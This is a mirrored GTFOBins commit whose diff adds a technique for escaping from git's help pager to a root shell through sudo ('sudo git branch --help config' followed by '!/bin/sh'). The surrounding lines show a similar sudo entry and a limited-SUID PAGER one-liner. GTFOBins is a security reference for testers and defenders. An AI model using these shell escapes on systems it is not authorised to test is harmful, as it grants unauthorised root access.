mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-24 20:42:48 +01:00
Adding sub commands sudo for git
This commit is contained in:
parent
3a0179306c
commit
09fdfe5f5d
@ -12,6 +12,10 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
sudo git -p help config
|
sudo git -p help config
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
|
- description: The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
code: |
|
||||||
|
sudo git branch --help config
|
||||||
|
!/bin/sh
|
||||||
limited-suid:
|
limited-suid:
|
||||||
- code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
|
- code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user